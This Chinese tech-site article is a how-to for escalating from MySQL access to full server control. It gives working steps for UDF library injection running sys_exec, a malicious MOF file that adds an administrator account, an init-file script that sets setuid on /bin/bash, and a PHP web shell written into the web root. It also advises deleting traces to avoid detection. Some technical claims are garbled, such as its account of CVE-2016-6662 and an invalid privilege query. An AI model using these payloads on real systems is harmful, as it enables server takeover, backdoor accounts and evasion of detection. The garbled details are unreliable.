菜鸟科技网

MySQL提权命令有哪些?

MySQL 提权是指在已获取 MySQL 数据库部分权限的情况下,通过特定操作提升权限至系统最高权限(如 root 或管理员权限),从而完全控制服务器,提权通常利用 MySQL 配置漏洞、函数漏洞、文件写入权限或系统配置缺陷实现,以下是常见的提权命令、方法及注意事项。

MySQL提权命令有哪些?-图1
(图片来源网络,侵删)

基于 UDF 提权(动态库提权)

UDF(User-Defined Function,用户自定义函数)提权是经典提权方式,通过向 MySQL 中插入恶意动态库文件(.dll 或 .so),调用系统执行命令函数(如 cmd、execve)实现权限提升。
前提条件

  • MySQL 具有 FILE 权限(可写入文件)
  • 知道 MySQL 的安装路径(动态库存放位置,如 Windows 的 lib/plugin/、Linux 的 plugin/ 目录)
  • 操作系统权限允许写入目标目录(Linux 下需 root 权限或目录可写,Windows 下可能需绕过 UAC)

操作步骤

  1. 查找 MySQL 安装路径
    通过 select @@basedir; 获取 MySQL 基础目录,C:\Program Files\MySQL\MySQL Server 8.0\/usr/local/mysql/

  2. 生成恶意动态库
    使用 Metasploit 的 mysql_payload 生成对应系统的动态库,或手动编写 C 代码编译(如 Linux 下编写 udf.c,包含 sys_exec 函数)。

    MySQL提权命令有哪些?-图2
    (图片来源网络,侵删)
  3. 上传动态库到插件目录
    利用 MySQL 的 INTO DUMPFILEINTO OUTFILE 写入文件,需确保目标目录可写:

    select '恶意动态库二进制流' into dumpfile 'C:/Program Files/MySQL/MySQL Server 8.0/lib/plugin/mysqludf.dll';

    (Linux 下路径类似,如 /usr/local/mysql/lib/plugin/udf.so

  4. 创建恶意函数并执行命令

    -- 创建函数(Windows 下为 dll,Linux 下为 so)
    create function sys_exec returns integer soname 'mysqludf.dll';
    -- 执行系统命令(如添加用户)
    select sys_exec('net user test test123 /add');
    select sys_exec('net localgroup administrators test /add');

    成功后可登录系统验证新增用户。

    MySQL提权命令有哪些?-图3
    (图片来源网络,侵删)

MOF 提权(仅 Windows)

MOF(Managed Object Format)提权利用 Windows 的 c:\windows\system32\wbem\mof\ 目录下的 mof 文件(可被系统定期编译执行),通过 MySQL 写入恶意 MOF 文件触发命令执行。
前提条件

  • MySQL 具有 FILE 权限
  • 目标目录 c:\windows\system32\wbem\mof\ 可写(通常需要管理员权限,但低版本 Windows 可能存在权限配置错误)

操作步骤

  1. 生成恶意 MOF 文件
    MOF 文件中可包含 VBScript 或 PowerShell 命令,

    #pragma namespace ("root\cimv2")
    instance of __EventFilter as $EventFilter
    {
        EventNamespace = "Root\\Cimv2";
        Name = "Filter";
      Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_LocalTime\" AND TargetInstance.Hour=12 AND TargetInstance.Minute=0 AND TargetInstance.Second=0";
      QueryLanguage = "WQL";
    };
    instance of ActiveScriptEventConsumer as $Consumer
    {
        Name = "Consumer";
      ScriptingEngine = "JScript";
      ScriptText = "var WShell = new ActiveXObject(\"WScript.Shell\"); WShell.Run(\"net user test test123 /add && net localgroup administrators test /add\");";
    };
    instance of __FilterToConsumerBinding
    {
      Filter = $EventFilter;
      Consumer = $Consumer;
    };
  2. 写入 MOF 文件

    select '恶意MOF文件内容' into dumpfile 'c:\windows\system32\wbem\mof\util.mof';

    系统在下次编译 MOF 时会执行命令,实现提权。

启动脚本提权(Linux/通用)

通过修改 MySQL 的启动脚本(如 /etc/init.d/mysql/usr/bin/mysqld_safe 或 my.cnf 配置文件),在 MySQL 启动时执行恶意命令。
前提条件

  • 具有写入 MySQL 启动脚本或配置文件的权限
  • MySQL 服务可重启

操作步骤

  1. 修改 my.cnf 配置文件
    [mysqld] 段落添加 init-connect=SET GLOBAL validate_password_policy=LOW; 或直接写入命令:

    [mysqld]
    init-file=/tmp/malicious.sh

    /tmp/malicious.sh 为包含恶意命令的脚本(如 chmod +s /bin/bash)。

  2. 重启 MySQL 服务

    service mysql restart

    重启后,init-file 中的命令会被执行,或通过 init-connect 触发漏洞。

其他提权方式

  1. 日志提权
    利用 MySQL 的 general_logslow_query_log,将日志文件设置为可执行路径(如 /var/www/html/shell.php),并写入恶意 PHP 代码,通过浏览器访问执行。

    set global general_log = 'ON';
    set global general_log_file = '/var/www/html/shell.php';
    select '<?php system($_GET["cmd"]); ?>' into dumpfile '/var/www/html/shell.php';
  2. 函数漏洞提权
    旧版本 MySQL 存在函数漏洞(如 CVE-2016-6662),通过调用特定函数(如 extractvalueupdatexml)结合堆叠查询执行系统命令,需目标版本存在漏洞。

注意事项

  • 提权操作需在授权环境下进行,非法提权可能违反法律法规。
  • 不同 MySQL 版本、操作系统环境可能导致提权命令失效,需提前测试环境兼容性。
  • 提权后需清理痕迹(如删除恶意文件、恢复配置文件),避免被检测。

相关问答 FAQs

Q1:MySQL 提权时,如何判断目标是否具备 UDF 提权条件?
A1:首先通过 select grant from mysql.user where user='当前用户'; 确认是否有 FILE 权限;然后通过 select @@basedir; 获取 MySQL 安装路径,并检查插件目录(如 lib/plugin/)的写权限(Linux 下可用 ls -l /usr/local/mysql/lib/plugin/ 查看,Windows 下需尝试写入测试文件),若同时满足 FILE 权限和插件目录可写,则具备 UDF 提权条件。

Q2:MySQL 提权失败后,如何排查常见原因?
A2:提权失败通常由以下原因导致:① 权限不足(如无 FILE 权限或目标目录不可写);② MySQL 版本与动态库不兼容(如高版本 MySQL 可能限制 UDF 加载);③ 操作系统防护(如 Windows 的 UAC、Linux 的 SELinux 阻止文件写入);④ 动态库文件格式错误(如 Windows 需 .dll 且为 32/64 位对应),排查时可通过 select version(); 确认版本,尝试写入测试文件验证目录权限,并检查系统日志(如 Linux 的 /var/log/messages)确认是否被拦截。

分享:
扫描分享到社交APP
上一篇
下一篇